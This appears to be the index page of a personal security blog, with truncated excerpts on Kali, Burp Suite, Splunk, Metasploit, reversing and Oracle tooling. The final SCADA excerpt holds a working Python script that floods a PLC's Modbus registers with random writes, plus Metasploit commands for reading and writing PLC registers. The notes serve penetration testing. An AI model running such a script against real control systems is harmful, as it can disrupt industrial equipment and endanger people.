Tech Vomit

Kali Config

This encompasses the various things I do whenever I’m setting up a new Kali VM in Virtualbox. Proxy Configuration Configure proxy (if applicable) by inputting the required values into /etc/environment. It will probably look something like this: http_proxy=www.proxy.com:80 https_proxy=www.proxy.com:80 no_proxy=.proxy.com,localhost,127.0.0.1 Resource: https://askubuntu.com/questions/175172/how-do-i-configure-proxies-without-gui Config apt with proxy (if applicable): touch /etc/apt/apt.conf.d/95proxies Input the required values into this file. It will probably look something like this: Acquire::http::proxy "http://www.proxy.com:80"; Acquire::https::proxy "http://www.proxy.com:80"; Acquire::ftp::proxy "http://www.proxy.com:80"; Restart the server : reboot...

PHP Notes

I’m not thrilled that I have to create this cheatsheet, but such is life. Embed HTML in php <?php echo "<p>Stuff</p>"; ?> Resource: https://stackoverflow.com/questions/18140270/how-to-write-html-code-inside-php Setup Debugger with PHP w/ PHPStorm and XAMPP Start out by installing phpstorm and xampp. Follow the process in here: https://www.techflirt.com/install-configure-xdebug-on-xampp-windows-and-mac/ For the above process, don’t forget to install xdebug for the version of php in xampp, and not the OS version: /Applications/XAMPP/bin/php -v Make sure you do everything in here: https://confluence....

Burp Notes

Automatically change value of request parameter Go to Proxy -> Options Click Add under Match and Replace Specify the value to match and the value to replace, such as: Match: uid=bob and Replace with: uid=evilbob This can be done with regex if you’d like, for example: Match: ^Host: foo.example.org$ and Replace with: bar.example.org to rewrite the host header. Feel free to add a Comment: to lend it some context. Intruder Extracting useful info from responses Run your attack Find stuff you want to grep out Click Options Go to Grep - Extract Click Add Search for the item you want to grep out, click the > to highlight it Make sure the Start after expression and End at delimiter match a pattern that will consistently get you the data you want Click OK Clear out the other columns you’ll see by clicking the Clear button under Grep - Match Click the Results tab, observe the item you wanted to grep as a column Export output to excel Click Save -> Results table Specify the columns that you want in the document, and click Save Resource: https://security....

Burp Extension Development

Thanks to Al for helping me to compile this. General For debugging (and modularity in general), be sure to separate out your logic from the file with the BurpExtender class, which is what Burp needs for the thing to work. This file should be stripped down to the bare essentials. Jython Install Jython obviously. You’ll find classes you can import from Burp’s extender tab. To import a class, use from burp import <name_here>...

Splunk Notes

URI Path for web application If you want to look at the information associated with a specific uri path for a web application: sitetolookat.com sourcetype=<the sourcetype you have for web stuff> url="/uri/path/file.php*" Add image to dashboard <dashboard> <row> <html> <h1>HTML Panel Example</h1> <p>The HTML panel displays inline HTML.</p> <img src="picture.jpg"/> </html> </row> </dashboard> Resource: https://answers.splunk.com/answers/136162/add-picture-to-dashboard.html View internal splunk logs index=_internal source="*.log" Resource: https://answers.splunk.com/answers/575570/where-can-i-find-the-internal-logs-in-the-splunk-5.html tail -f functionality After running a query, be sure to change the Presets for real-time to a window, such as a 5 minute window to show all events that match the input criteria in the past 5 minutes....

Metasploit Cheatsheet

Setup the Database service postgresql start kali msfdb init Test it: msfconsole db_status You’ll know it worked if you see [*] postgresql connected to msf. Resource: https://docs.kali.org/general-use/starting-metasploit-framework-in-kali Troubleshooting database connectivity issues Start by restarting the postgres service: service postgresql restart If that doesn’t work, try destroying and recreating the database: msfdb delete msfdb init Then test it: msfconsole db_status Resource: https://stackoverflow.com/questions/32561760/metasploit-cant-use-default-msf3-to-connect Meterpreter Get current user info getuid View running jobs Useful if you’re running something with exploit -j -z...

HashiCorp Vault Research

Nice introduction: https://mycodesmells.com/post/introduction-to-vault Fun write-up: https://www.davidbegin.com/cubbyhole-backend-and-response-wrapping/ Token info: https://www.vaultproject.io/docs/concepts/tokens.html Cool dev implementation series with OSX and lastpass: https://blog.alanthatcher.io/fun-and-profit-with-vault-2/ https://blog.alanthatcher.io/fun-and-profit-with-vault-part-2/ https://blog.alanthatcher.io/fun-and-profit-with-vault-part-3/ Single-use implementation: https://www.slalom.com/thinking/managing-secrets-using-hashicorp-vault How-to on Ubuntu: https://www.digitalocean.com/community/tutorials/how-to-securely-manage-secrets-with-hashicorp-vault-on-ubuntu-16-04

Reversing Notes

Environment Setup VMWare everything in a VLAN Remnux linux box - has things like iptables rules which accept traffic from any ip that connects to it and a fake dns tool. Process Monitor Useful for seeing what processes are spawned with a given running program. Used to get real-time information. Process hacker is an open source alternative. Process Explorer Determine what files, DLLs, and registry keys are associated with open processes....

Interfacing with Oracle DBs

This was so much of a pain in the ass to figure out that I decided that I would compile a whole post specifically around useful information for this topic. To get started, download SQLDeveloper through Oracle’s site (you’ll need to register). So far I’ve tested this on OSX. Establishing a connection Under the Connections tab, click the green plus button Specify Basic for the connection type Put in the Connection name, Username, Password, Hostname, and Port For SID, put in the hostname without the domain....

SCADA Security Notes

Modbus write random registers from pymodbus.client.sync import ModbusTcpClient import multiprocessing import random from multiprocessing import TimeoutError client = ModbusTcpClient('[target]') client.connect() def write(reg): client.write_register(reg+1, random.randint(1, 100)) print('reg:' + str(reg)) if __name__ == '__main__': while True: p = multiprocessing.Pool(2) try: p.map(write, [x for x in range(20)]) except TimeoutError: pass except Exception as e: print(e) exit() client.close() Read and write data to a PLC with metasploit use auxiliary/scanner/scada/modbusclient set DATA_ADDRESS 1 set RHOST [target] set ACTION READ_REGISTERS set NUMBER 19 run